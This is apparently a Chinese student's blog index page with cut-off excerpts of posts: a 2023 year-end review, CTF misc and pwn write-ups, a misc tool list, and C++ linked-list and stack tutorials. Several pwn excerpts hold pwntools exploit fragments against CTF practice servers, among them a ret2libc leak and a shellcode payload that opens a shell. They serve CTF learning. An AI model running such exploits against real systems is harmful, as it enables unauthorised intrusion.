$写在开头$书写人生,不止于一页。
等我发布这篇博客的时候,2023年可能还有几个小时就过去了,古语云:“沧海桑田,岁月留痕”,我想我应该把这一年的经历记录下来,也当作是对2023年的一个总结吧(虽然有点模仿密言的样子,密言的年终总结),感觉2023年相对于其他年份显得没那么有存在感,当我意识到2024年马上就要到来的时候,我甚至都没想到我这一年经历了一些什么(哈哈),但是我翻了翻手机相册,发现还是挺丰富的,疫情结束以后也没有像自己想象的那样天天出去玩,还是宅在学校里的,毕竟学校已经够大了。
$年终总结$学业方面大二的上学期在无穷无尽的各种实验报告中度过,几乎每个周末都得赶实验报告,真的还挺烦人的。
还参加了2023的HUAWEI security 比赛,和华为中央硬件部的leader聊了有关学业和就业方面的问题,其实有的时候本科就业也不是什么坏事,至少能比同龄人多了解了三年的业务逻辑,积累了更多的经验,但是有了研究生学历之后工作相对来说会更好找,但是据说华为是不卡学历的,主要还是看技术水平,所以还是得把技术学好。
在这个比赛中,认识到了自己与别人之间的差距,也意识到了技术对于一 ...
HCTF 2023 wp一、Misc1.玩原神玩的分析:附件为一张图片
观察最后一行,明显有flag的格式
搜索得知是
对照得flag为:hctf{yuanlainiyewanyuanshenhhh}
2.signin附件为一段文本
1WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd
base64解码后得到
1[104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
很明显是ASCII码
编写py脚本
123456ascii_list = [104, 9 ...
Newstar CTF 2023 week2 pwn1.ret2libc
发现存在pop rdi
观察main函数,可以利用puts函数泄露libc
123456789101112131415161718192021222324from pwn import *from LibcSearcher import *context(os="linux", arch="amd64", log_level="debug")elf = ELF('/home/miyu/Desktop/ret2libc')p = remote("node4.buuoj.cn", 28784)pop_ret_rdi = 0x400763ret = 0x400506put_got = elf.got['puts']put_plt = elf.plt['puts']main_addr = 0x400698offset = 0x20 + 8payload = b'a' ...
WEEK1 PWN1.ezshellcode直接sendline(shellcode)即可exp:
1234567891011from pwn import *p = remote("node4.buuoj.cn",29374)#p = process('/home/miyu/Desktop/ezshellcode')context(log_level = 'debug', arch = 'amd64', os = 'linux')shellcode=asm(shellcraft.sh())#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'payload = shellcodep.sendlineafter('Show me your magic\n',payload)p.intera ...
buu pwn wp(持续更新)1、warmup_csaw_2016main函数如下
123456789101112__int64 __fastcall main(int a1, char **a2, char **a3){ char s[64]; // [rsp+0h] [rbp-80h] BYREF char v5[64]; // [rsp+40h] [rbp-40h] BYREF write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%p\n", sub_40060D); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5);}
首先使用write函数打印文字引导”-Warm Up-“, 新行
打印”WOW:”, 不换行
使用sprintf函数将当前sub_40060D函数的地址以16进制格式打印到字符串s中,打印地 ...
main函数如下:
123456789101112131415161718192021222324252627282930313233343536373839int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa ...
2023 秋季学期 六周集训 Misc方向by 高鹏鸿、密语
写在前面,记录和交流是一个很好的习惯,建议可以自己先搭建一个博客用于存储自己的做题记录以及方便交流。还有,对于Misc方向,灵活应对十分重要,一定要善用搜索引擎。
还有一点,给大家做的题能在网络上搜索到,大家实在实在坐牢很久了再去搜索
工具
搜索引擎 新手必学
VMware 虚拟机平台,建议在VMware里安装一个kali系统,里面有许多预装工具
binwalk 固件映像提取
foremost 图片文件分离
zsteg 自动化图片分析工具
010editor(或者winhex) 十六进制编辑器和磁盘编辑器
Stegsolve 图片隐写解析器
Audacity 音频分析
Wireshark 流量分析
silenteyes 图片隐写工具
white_space&snow 文本隐写工具
RX-SSTV 慢扫描电视
Cyberchef 各种编解码
Advanced Arc ...
数据结构——关于链表的几个重要函数关于链表的几个重要函数1. 在单向链表的尾部添加一个节点123456789101112131415void tail(Node**head,int x){//在头节点为head的链表的尾部插入一个值为x的节点 Node*newnode=new Node();//为新节点开辟一个空间 newnode->data=x;//将数据x存放在新节点中 newnode->next=NULL;//将新节点的next设为空 if(*head==NULL){//如果链表为空 *head=newnode;//新节点就为头节点 } else{ Node*temp=*head; while(temp->next!=NULL){ temp=temp->next;//移动到最后一个节点 } temp->next=newnode; }}
2 ...
数据结构——栈一、用数组实现栈的功能1234567891011121314151617181920212223242526272829303132333435363738394041424344#include<iostream>//用数组实现栈的功能using namespace std;#define MAX_SIZE 101//定义此栈最大空间为101int A[MAX_SIZE];int top = -1;//定义全局变量top表示栈顶,当栈为空时,top=-1void Push(int x) {//压栈操作 if (top == MAX_SIZE - 1) { cout << "Error:Stack overflow"; return; } else { A[++top] = x;//等价于top++ A[top]=x; }}void Pop() {//弹栈操作 if (top == -1) { cout << "Erro ...
数据结构与算法——链表
用struct自定义数据类型:12345struct Node{ int data; Node*next;};struct Node*head;//定义头节点为全局变量
操作链表的相关函数:(一)InsertAtHead函数:123456void InsertAtHead(int x){//在链表的前端插入节点 struct Node*temp=new Node; temp->data=x; temp->next=head; head=temp;}
(二)Insert函数:123456789101112131415161718192021void Insert(){//在链表的任意位置插入节点 int data,n; cout<<"插入的位置为:"; cin>>n; cout<<"插入的数字为:"; cin>>data; struct No ...